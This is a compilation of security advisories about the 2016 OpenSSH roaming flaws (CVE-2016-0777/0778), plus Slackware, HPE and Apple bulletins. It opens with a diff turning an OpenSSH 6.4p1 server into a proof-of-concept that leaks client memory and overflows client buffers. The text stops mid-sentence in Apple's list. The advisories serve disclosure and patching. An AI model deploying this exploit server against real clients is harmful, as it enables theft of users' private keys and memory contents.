xmalloc(*buflenp);\n+\t} else {\n+\t\tif (*buflenp != (size_t)st.st_size)\n+\t\t\tfatal(\"%s: %s size %lld buflen %lu\", __func__, name,\n+\t\t\t (long long)st.st_size, (u_long)*buflenp);\n+\t}\n+\tif (read(fd, buf, *buflenp) != (ssize_t)*buflenp)\n+\t\tfatal(\"%s: read %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+\treturn buf;\n+}\n+\n #endif /* ROAMING */\ndiff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c\n--- openssh-6.4p1/serverloop.c\t2013-07-17 23:12:45.000000000 -0700\n+++ openssh-6.4p1+roaming/serverloop.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -1060,6 +1060,9 @@ server_request_session(void)\n \treturn c;\n }\n \n+static int client_session_channel = -1;\n+static int server_session_channel = -1;\n+\n static void\n server_input_channel_open(int type, u_int32_t seq, void *ctxt)\n {\n@@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in\n \t\tc-\u003eremote_window = rwindow;\n \t\tc-\u003eremote_maxpacket = rmaxpack;\n \t\tif (c-\u003etype != SSH_CHANNEL_CONNECTING) {\n+\t\t\tdebug(\"%s: avoid client-side buf_append\", __func__);\n+\t\t\t/*\n \t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n \t\t\tpacket_put_int(c-\u003eremote_id);\n \t\t\tpacket_put_int(c-\u003eself);\n \t\t\tpacket_put_int(c-\u003elocal_window);\n \t\t\tpacket_put_int(c-\u003elocal_maxpacket);\n \t\t\tpacket_send();\n+\t\t\t*/\n+\t\t\tif (strcmp(ctype, \"session\") == 0) {\n+\t\t\t\tif (client_session_channel != -1)\n+\t\t\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t\t\t __func__, client_session_channel);\n+\t\t\t\tclient_session_channel = c-\u003eremote_id;\n+\t\t\t\tserver_session_channel = c-\u003eself;\n+\t\t\t}\n \t\t}\n \t} else {\n \t\tdebug(\"server_input_channel_open: failure %s\", ctype);\n@@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in\n }\n \n static void\n+roaming_disconnect(Kex *const kex)\n+{\n+\tconst char *cp, *roaming = getenv(\"ROAMING\");\n+\tif (roaming == NULL)\n+\t\troaming = \"infoleak\";\n+\tint overflow = 0;\n+\tif ((cp = strstr(roaming, \"overflow:\")) != NULL)\n+\t\toverflow = cp[9];\n+\n+\tconst u_int client_recv_buf_size = packet_get_int();\n+\tpacket_check_eom();\n+\tconst u_int server_recv_buf_size = get_recv_buf_size();\n+\tconst u_int server_send_buf_size = get_snd_buf_size();\n+\tdebug(\"%s: client_recv_buf_size %u\", __func__, client_recv_buf_size);\n+\tdebug(\"%s: server_recv_buf_size %u\", __func__, server_recv_buf_size);\n+\tdebug(\"%s: server_send_buf_size %u\", __func__, server_send_buf_size);\n+\n+\tu_int client_send_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_send_buf_size:\")) != NULL)\n+\t\tclient_send_buf_size = strtoul(cp + 21, NULL, 0);\n+\telse if (client_recv_buf_size == DEFAULT_ROAMBUF)\n+\t\tclient_send_buf_size = DEFAULT_ROAMBUF;\n+\telse {\n+\t\tconst u_int\n+\t\t max = MAX(client_recv_buf_size, server_recv_buf_size),\n+\t\t min = MIN(client_recv_buf_size, server_recv_buf_size);\n+\t\tif (min \u003c= 0)\n+\t\t\tfatal(\"%s: min %u\", __func__, min);\n+\t\tif (((u_int64_t)(max - min) * 1024) / min \u003c 1)\n+\t\t\tclient_send_buf_size = server_send_buf_size;\n+\t\telse\n+\t\t\tclient_send_buf_size = client_recv_buf_size;\n+\t}\n+\tdebug(\"%s: client_send_buf_size %u\", __func__, client_send_buf_size);\n+\tif (client_send_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_send_buf_size\", __func__);\n+\n+\tu_int id = 0;\n+\tchar *dir = NULL;\n+\tfor (;;) {\n+\t\tid = arc4random();\n+\t\tdebug(\"%s: id %u\", __func__, id);\n+\t\tfree(dir);\n+\t\tdir = get_roaming_dir(id);\n+\t\tif (mkdir(dir, S_IRWXU) == 0)\n+\t\t\tbreak;\n+\t\tif (errno != EEXIST)\n+\t\t\tfatal(\"%s: mkdir %s errno %d\", __func__, dir, errno);\n+\t}\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tif (chdir(dir) != 0)\n+\t\tfatal(\"%s: chdir %s errno %d\", __func__, dir, errno);\n+\n+\tu_int client_out_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_out_buf_size:\")) != NULL)\n+\t\tclient_out_buf_size = strtoul(cp + 20, NULL, 0);\n+\telse if (overflow != 0)\n+\t\tclient_out_buf_size = MAX_ROAMBUF;\n+\telse\n+\t\tclient_out_buf_size = 1 + arc4random() % 4096;\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_out_buf_size\", __func__);\n+\tdump_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size,\n+\t\t\t\t\t sizeof(client_out_buf_size));\n+\n+\tif ((cp = strstr(roaming, \"scp_mode\")) != NULL) {\n+\t\tif (overflow != 0)\n+\t\t\tfatal(\"%s: scp_mode is incompatible with overflow %d\",\n+\t\t\t __func__, overflow);\n+\n+\t\tu_int seconds_left_to_sleep = 3;\n+\t\tif ((cp = strstr(cp, \"sleep:\")) != NULL)\n+\t\t\tseconds_left_to_sleep = strtoul(cp + 6, NULL, 0);\n+\t\tdebug(\"%s: sleep %u\", __func__, seconds_left_to_sleep);\n+\n+\t\tif (client_session_channel == -1)\n+\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t __func__, client_session_channel);\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_int(server_session_channel);\n+\t\tpacket_put_int(0); /* server window */\n+\t\tpacket_put_int(0); /* server maxpacket */\n+\t\tpacket_send();\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_DATA);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_string(\"\\0\\n\", 2); /* response\u0026source|sink\u0026run_err */\n+\t\tpacket_send();\n+\n+\t\tpacket_read_expect(SSH2_MSG_CHANNEL_REQUEST);\n+\t\tpacket_get_int(); /* server channel */\n+\t\tdebug(\"%s: channel request %s\", __func__,\n+\t\t packet_get_cstring(NULL));\n+\n+\t\twhile (seconds_left_to_sleep)\n+\t\t\tseconds_left_to_sleep = sleep(seconds_left_to_sleep);\n+\t}\n+\n+\tpacket_start(SSH2_MSG_REQUEST_SUCCESS);\n+\tpacket_put_int(id); /* roaming_id */\n+\tpacket_put_int64(arc4random()); /* cookie */\n+\tpacket_put_int64(0); /* key1 */\n+\tpacket_put_int64(0); /* key2 */\n+\tpacket_put_int(client_out_buf_size - client_send_buf_size);\n+\tpacket_send();\n+\tpacket_write_wait();\n+\n+\tif (overflow != 0) {\n+\t\tconst u_int64_t full_client_out_buf = get_recv_bytes() +\n+\t\t\t\t client_out_buf_size;\n+\n+\t\tu_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */\n+\t\tif ((cp = strstr(roaming, \"fd_leaks:\")) != NULL)\n+\t\t\tfd_leaks = strtoul(cp + 9, NULL, 0);\n+\t\tdebug(\"%s: fd_leaks %u\", __func__, fd_leaks);\n+\n+\t\twhile (fd_leaks--) {\n+\t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN);\n+\t\t\tpacket_put_cstring(overflow == \u0027X\u0027 ? \"x11\" :\n+\t\t\t \"auth-agent@openssh.com\"); /* ctype */\n+\t\t\tpacket_put_int(arc4random()); /* server channel */\n+\t\t\tpacket_put_int(arc4random()); /* server window */\n+\t\t\tpacket_put_int(arc4random()); /* server maxpacket */\n+\t\t\tif (overflow == \u0027X\u0027) {\n+\t\t\t\tpacket_put_cstring(\"\"); /* originator */\n+\t\t\t\tpacket_put_int(arc4random()); /* port */\n+\t\t\t}\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\t\tpacket_get_int(); /* server channel */\n+\t\t\tpacket_get_int(); /* client channel */\n+\t\t\tpacket_get_int(); /* client window */\n+\t\t\tpacket_get_int(); /* client maxpacket */\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\twhile (get_recv_bytes() \u003c= full_client_out_buf) {\n+\t\t\tpacket_start(SSH2_MSG_GLOBAL_REQUEST);\n+\t\t\tpacket_put_cstring(\"\"); /* rtype */\n+\t\t\tpacket_put_char(1); /* want_reply */\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_REQUEST_FAILURE);\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\tif (kex == NULL)\n+\t\t\tfatal(\"%s: no kex, cannot rekey\", __func__);\n+\t\tif (kex-\u003eflags \u0026 KEX_INIT_SENT)\n+\t\t\tfatal(\"%s: KEX_INIT_SENT already\", __func__);\n+\t\tchar *const ptr = buffer_ptr(\u0026kex-\u003emy);\n+\t\tconst u_int len = buffer_len(\u0026kex-\u003emy);\n+\t\tif (len \u003c= 1+4) /* first_kex_follows + reserved */\n+\t\t\tfatal(\"%s: kex len %u\", __func__, len);\n+\t\tptr[len - (1+4)] = 1; /* first_kex_follows */\n+\t\tkex_send_kexinit(kex);\n+\n+\t\tu_int i;\n+\t\tpacket_read_expect(SSH2_MSG_KEXINIT);\n+\t\tfor (i = 0; i \u003c KEX_COOKIE_LEN; i++)\n+\t\t\tpacket_get_char();\n+\t\tfor (i = 0; i \u003c PROPOSAL_MAX; i++)\n+\t\t\tfree(packet_get_string(NULL));\n+\t\tpacket_get_char(); /* first_kex_follows */\n+\t\tpacket_get_int(); /* reserved */\n+\t\tpacket_check_eom();\n+\n+\t\tchar buf[8192*2]; /* two packet_read_seqnr bufferfuls */\n+\t\tmemset(buf, \u0027\\0\u0027, sizeof(buf));\n+\t\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL);\n+\t\tpacket_put_string(buf, sizeof(buf));\n+\t\tpacket_send();\n+\t\tconst Buffer *const output = packet_get_output();\n+\t\tdump_roaming_file(\"output\", buffer_ptr(output),\n+\t\t\t\t\t buffer_len(output));\n+\t}\n+\n+\tconst u_int64_t client_write_bytes = get_recv_bytes();\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t (unsigned long long)client_write_bytes);\n+\tdump_roaming_file(\"client_write_bytes\", \u0026client_write_bytes,\n+\t\t\t\t\t sizeof(client_write_bytes));\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n server_input_global_request(int type, u_int32_t seq, void *ctxt)\n {\n \tchar *rtype;\n@@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_\n \t} else if (strcmp(rtype, \"no-more-sessions@openssh.com\") == 0) {\n \t\tno_more_sessions = 1;\n \t\tsuccess = 1;\n+\t} else if (strcmp(rtype, ROAMING_REQUEST) == 0) {\n+\t\tif (want_reply != 1)\n+\t\t\tfatal(\"%s: rtype %s want_reply %d\", __func__,\n+\t\t\t\t rtype, want_reply);\n+\t\troaming_disconnect(ctxt);\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, ROAMING_REQUEST);\n \t}\n \tif (want_reply) {\n \t\tpacket_start(success ?\ndiff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c\n--- openssh-6.4p1/sshd.c\t2013-07-19 20:21:53.000000000 -0700\n+++ openssh-6.4p1+roaming/sshd.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -2432,6 +2432,8 @@ do_ssh2_kex(void)\n \t}\n \tif (options.kex_algorithms != NULL)\n \t\tmyproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms;\n+\telse\n+\t\tmyproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX \",\" KEX_RESUME;\n \n \tif (options.rekey_limit || options.rekey_interval)\n \t\tpacket_set_rekey_limits((u_int32_t)options.rekey_limit,\n. \n\nMore details about identifying an attack and mitigations will be\navailable in the Qualys Security Advisory. \n\nFor the oldstable distribution (wheezy), these problems have been fixed\nin version 1:6.0p1-4+deb7u3. \n\nFor the stable distribution (jessie), these problems have been fixed in\nversion 1:6.7p1-5+deb8u1. \n\nFor the testing distribution (stretch) and unstable distribution (sid), these\nproblems will be fixed in a later version. \n\n\nHere are the details from the Slackware 14.1 ChangeLog:\n+--------------------------+\npatches/packages/openssh-7.1p2-i486-1_slack14.1.txz: Upgraded. \n This update fixes an information leak and a buffer overflow. As of version\n 7.0, OpenSSH has deprecated some older (and presumably less secure)\n algorithms, and also (by default) only allows root login by public-key,\n hostbased and GSSAPI authentication. Make sure that your keys and\n authentication method will allow you to continue accessing your system\n after the upgrade. \n The release notes for OpenSSH 7.0 list the following incompatible changes\n to be aware of:\n * Support for the legacy SSH version 1 protocol is disabled by\n default at compile time. \n * Support for the 1024-bit diffie-hellman-group1-sha1 key exchange\n is disabled by default at run-time. It may be re-enabled using\n the instructions at http://www.openssh.com/legacy.html\n * Support for ssh-dss, ssh-dss-cert-* host and user keys is disabled\n by default at run-time. These may be re-enabled using the\n instructions at http://www.openssh.com/legacy.html\n * Support for the legacy v00 cert format has been removed. \n * The default for the sshd_config(5) PermitRootLogin option has\n changed from \"yes\" to \"prohibit-password\". \n * PermitRootLogin=without-password/prohibit-password now bans all\n interactive authentication methods, allowing only public-key,\n hostbased and GSSAPI authentication (previously it permitted\n keyboard-interactive and password-less authentication if those\n were enabled). \n (* Security fix *)\n+--------------------------+\n\n\nWhere to find the new packages:\n+-----------------------------+\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\n\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you. \n\nUpdated package for Slackware 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/openssh-7.1p2-i486-1_slack13.0.txz\n\nUpdated package for Slackware x86_64 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/openssh-7.1p2-x86_64-1_slack13.0.txz\n\nUpdated package for Slackware 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/openssh-7.1p2-i486-1_slack13.1.txz\n\nUpdated package for Slackware x86_64 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/openssh-7.1p2-x86_64-1_slack13.1.txz\n\nUpdated package for Slackware 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/openssh-7.1p2-i486-1_slack13.37.txz\n\nUpdated package for Slackware x86_64 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/openssh-7.1p2-x86_64-1_slack13.37.txz\n\nUpdated package for Slackware 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/openssh-7.1p2-i486-1_slack14.0.txz\n\nUpdated package for Slackware x86_64 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/openssh-7.1p2-x86_64-1_slack14.0.txz\n\nUpdated package for Slackware 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/openssh-7.1p2-i486-1_slack14.1.txz\n\nUpdated package for Slackware x86_64 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/openssh-7.1p2-x86_64-1_slack14.1.txz\n\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/openssh-7.1p2-i586-1.txz\n\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/openssh-7.1p2-x86_64-1.txz\n\n\nMD5 signatures:\n+-------------+\n\nSlackware 13.0 package:\n856dd9c1b10641c282f30a34b7b63bea openssh-7.1p2-i486-1_slack13.0.txz\n\nSlackware x86_64 13.0 package:\n80903b0829f0284d007e7a316f2ff2da openssh-7.1p2-x86_64-1_slack13.0.txz\n\nSlackware 13.1 package:\n2095d1a304a94bab44993fdb7e0781c8 openssh-7.1p2-i486-1_slack13.1.txz\n\nSlackware x86_64 13.1 package:\n5bf653d7f5b4a9426ff2c5888af99f00 openssh-7.1p2-x86_64-1_slack13.1.txz\n\nSlackware 13.37 package:\n53e09b4371c045b9de1c86e0826324f9 openssh-7.1p2-i486-1_slack13.37.txz\n\nSlackware x86_64 13.37 package:\ncd0319ff3c574c50612d5ba2b38f2fdc openssh-7.1p2-x86_64-1_slack13.37.txz\n\nSlackware 14.0 package:\n98cdc1d6ffea2a06d0c8013078681bff openssh-7.1p2-i486-1_slack14.0.txz\n\nSlackware x86_64 14.0 package:\n2093f3e91a79e07f072c702a1704be73 openssh-7.1p2-x86_64-1_slack14.0.txz\n\nSlackware 14.1 package:\nd051d9f31cd380436ad01fa1641be1c7 openssh-7.1p2-i486-1_slack14.1.txz\n\nSlackware x86_64 14.1 package:\nf1f81757431c3c836f06ce5d22e2d5de openssh-7.1p2-x86_64-1_slack14.1.txz\n\nSlackware -current package:\n70db20c5e4152bc9967b1e24cf91ed98 n/openssh-7.1p2-i586-1.txz\n\nSlackware x86_64 -current package:\ne13dc3da27f817bee693fbb907015817 n/openssh-7.1p2-x86_64-1.txz\n\n\nInstallation instructions:\n+------------------------+\n\nUpgrade the package as root:\n# upgradepkg openssh-7.1p2-i486-1_slack14.1.txz\n\nNext, restart the sshd daemon:\n# sh /etc/rc.d/rc.sshd restart\n\nThen before logging out, make sure that you still have remote access!\nSee the information about incompatible changes in OpenSSH 7.x above. \n\n\n+-----+\n\nSlackware Linux Security Team\nhttp://slackware.com/gpg-key\nsecurity@slackware.com\n\n+------------------------------------------------------------------------+\n| To leave the slackware-security mailing list: |\n+------------------------------------------------------------------------+\n| Send an email to majordomo@slackware.com with this text in the body of |\n| the email message: |\n| |\n| unsubscribe slackware-security |\n| |\n| You will get a confirmation message back containing instructions to |\n| complete the process. Please do not reply to this email address. \n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05247375\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c05247375\nVersion: 1\n\nHPSBGN03638 rev.1 - HPE Remote Device Access: Virtual Customer Access System\n(vCAS) using lighttpd and OpenSSH, Unauthorized Modification of Information,\nRemote Denial of Service (DoS), Remote Disclosure of Information\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2016-08-29\nLast Updated: 2016-08-29\n\nPotential Security Impact: Remote Denial of Service (DoS), Disclosure of\nInformation, Unauthorized Modification Of Information\n\nSource: Hewlett Packard Enterprise, Product Security Response Team\n\nVULNERABILITY SUMMARY\nPotential vulnerabilities have been identified in the lighttpd and OpenSSH\nversion used in HPE Remote Device Access: Virtual Customer Access System\n(vCAS). These vulnerabilities could be exploited remotely resulting in\nunauthorized modification of information, denial of service (DoS), and\ndisclosure of information. \n\nReferences:\n\nCVE-2015-3200\nCVE-2016-0777\nCVE-2016-0778\nPSRT110211\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \nHPE Remote Device Access: Virtual Customer Access System (vCAS) - v15.07 (RDA\n8.1) and earlier. \n\nBACKGROUND\n\n CVSS Base Metrics\n =================\n Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector\n\n CVE-2015-3200\n 5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n 5.0 (AV:N/AC:L/Au:N/C:N/I:P/A:N)\n\n CVE-2016-0777\n 6.5 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\n 4.0 (AV:N/AC:L/Au:S/C:P/I:N/A:N)\n\n CVE-2016-0778\n 9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)\n\n Information on CVSS is documented in\n HPE Customer Notice HPSN-2008-002 here:\n\nhttps://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499\n\nRESOLUTION\n\nHPE has made the following updates available to resolve the vulnerabilities\nin Remote Device Access: Virtual Customer Access System (vCAS)\n\nvCAS 16.05 (RDA 8.7) kits - hp-rdacas-16.05-10482-vbox.ova and\nhp-rdacas-16.05-10482.ova. \n\nThe Oracle VirtualBox kit is available at:\nhttps://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482-vbox.ova\n\nThe VMware ESX(i) and VMware Player kit is available at:\nhttps://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482.ova\n\nHISTORY\nVersion:1 (rev.1) - 29 August 2016 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running Hewlett Packard Enterprise (HPE) software\nproducts should be applied in accordance with the customer\u0027s patch management\npolicy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HPE Services support channel. \n\nReport: To report a potential security vulnerability for any HPE supported\nproduct:\n Web form: https://www.hpe.com/info/report-security-vulnerability\n Email: security-alert@hpe.com\n\nSubscribe: To initiate a subscription to receive future HPE Security Bulletin\nalerts via Email: http://www.hpe.com/support/Subscriber_Choice\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here: http://www.hpe.com/support/Security_Bulletin_Archive\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HPE General Software\nHF = HPE Hardware and Firmware\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPV = ProCurve\nST = Storage Software\nUX = HP-UX\n\nCopyright 2016 Hewlett Packard Enterprise\n\nHewlett Packard Enterprise shall not be liable for technical or editorial\nerrors or omissions contained herein. The information provided is provided\n\"as is\" without warranty of any kind. To the extent permitted by law, neither\nHP or its affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. Hewlett\nPackard Enterprise and the names of Hewlett Packard Enterprise products\nreferenced herein are trademarks of Hewlett Packard Enterprise in the United\nStates and other countries. Other product and company names mentioned herein\nmay be trademarks of their respective owners. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\nAPPLE-SA-2016-03-21-5 OS X El Capitan 10.11.4 and Security Update\n2016-002\n\nOS X El Capitan 10.11.4 and Security Update 2016-002 is now available\nand addresses the following:\n\napache_mod_php\nAvailable for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted .png file may lead to\narbitrary code execution\nDescription: Multiple vulnerabilities existed in libpng versions\nprior to 1.6.20. These were addressed by updating libpng to version\n1.6.20. \nCVE-ID\nCVE-2015-8126 : Adam Mari\u0161\nCVE-2015-8472 : Adam Mari\u0161\n\nAppleRAID\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1733 : Proteas of Qihoo 360 Nirvan Team\n\nAppleRAID\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A local user may be able to determine kernel memory layout\nDescription: An out-of-bounds read issue existed that led to the\ndisclosure of kernel memory. This was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1732 : Proteas of Qihoo 360 Nirvan Team\n\nAppleUSBNetworking\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue existed in the parsing of\ndata from USB devices. This issue was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1734 : Andrea Barisani and Andrej Rosano of Inverse Path\n\nBluetooth\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1735 : Jeonghoon Shin@A.D.D\nCVE-2016-1736 : beist and ABH of BoB\n\nCarbon\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Processing a maliciously crafted .dfont file may lead to\narbitrary code execution\nDescription: Multiple memory corruption issues existed in the\nhandling of font files. These issues were addressed through improved\nbounds checking. \nCVE-ID\nCVE-2016-1737 : an anonymous researcher\n\ndyld\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An attacker may tamper with code-signed applications to\nexecute arbitrary code in the application\u0027s context\nDescription: A code signing verification issue existed in dyld. \nCVE-ID\nCVE-2016-1738 : beist and ABH of BoB\n\nFontParser\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: Opening a maliciously crafted PDF file may lead to an\nunexpected application termination or arbitrary code execution\nDescription: A memory corruption issue was addressed through\nimproved memory handling. \nCVE-ID\nCVE-2016-1740 : HappilyCoded (ant4g0nist and r3dsm0k3) working with\nTrend Micro\u0027s Zero Day Initiative (ZDI)\n\nHTTPProtocol\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A remote attacker may be able to execute arbitrary code\nDescription: Multiple vulnerabilities existed in nghttp2 versions\nprior to 1.6.0, the most serious of which may have led to remote code\nexecution. These were addressed by updating nghttp2 to version 1.6.0. \nCVE-ID\nCVE-2015-8659\n\nIntel Graphics Driver\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1743 : Piotr Bania of Cisco Talos\nCVE-2016-1744 : Ian Beer of Google Project Zero\n\nIOFireWireFamily\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: A local user may be able to cause a denial of service\nDescription: A null pointer dereference was addressed through\nimproved validation. \nCVE-ID\nCVE-2016-1745 : sweetchip of Grayhash\n\nIOGraphics\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A memory corruption issue was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1746 : Peter Pi of Trend Micro working with Trend Micro\u0027s\nZero Day Initiative (ZDI)\nCVE-2016-1747 : Juwei Lin of Trend Micro working with Trend Micro\u0027s\nZero Day Initiative (ZDI)\n\nIOHIDFamily\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to determine kernel memory layout\nDescription: A memory corruption issue was addressed through\nimproved memory handling. \nCVE-ID\nCVE-2016-1748 : Brandon Azad\n\nIOUSBFamily\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1749 : Ian Beer of Google Project Zero and Juwei Lin of\nTrend Micro working with Trend Micro\u0027s Zero Day Initiative (ZDI)\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A use after free issue was addressed through improved\nmemory management. \nCVE-ID\nCVE-2016-1750 : CESG\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A race condition existed during the creation of new\nprocesses. This was addressed through improved state handling. \nCVE-ID\nCVE-2016-1757 : Ian Beer of Google Project Zero and Pedro Vilaca\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: A null pointer dereference was addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1756 : Lufeng Li of Qihoo 360 Vulcan Team\n\nKernel\nAvailable for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2016-1754 : Lufeng Li of Qihoo 360 Vulcan Team\nCVE-2016-1755 : Ian Beer of Google Project Zero\nCVE-2016-1759 : lokihardt\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to determine kernel memory layout\nDescription: An out-of-bounds read issue existed that led to the\ndisclosure of kernel memory. This was addressed through improved\ninput validation. \nCVE-ID\nCVE-2016-1758 : Brandon Azad\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to execute arbitrary code with\nkernel privileges\nDescription: Multiple integer overflows were addressed through\nimproved input validation. \nCVE-ID\nCVE-2016-1753 : Juwei Lin Trend Micro working with Trend Micro\u0027s Zero\nDay Initiative (ZDI)\n\nKernel\nAvailable for: OS X El Capitan v10.11 to v10.11.3\nImpact: An application may be able to cause a denial of service\nDescription: A denial of service issue was addressed through\nimproved validation. \nCVE-ID\nCVE-2016-1752 : CESG\n\nlibxml2\nAvailable for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5,\nand OS X El Capitan v10.11 to v10.11.3\nImpact: Processing maliciously crafted XML may lead to unexpected\napplication termination or arbitrary code execution\nDescription: Multiple memory corruption issues were addressed\nthrough improved memory handling. \nCVE-ID\nCVE-2015-1819\nCVE-2015-5312 : David Drysdale of 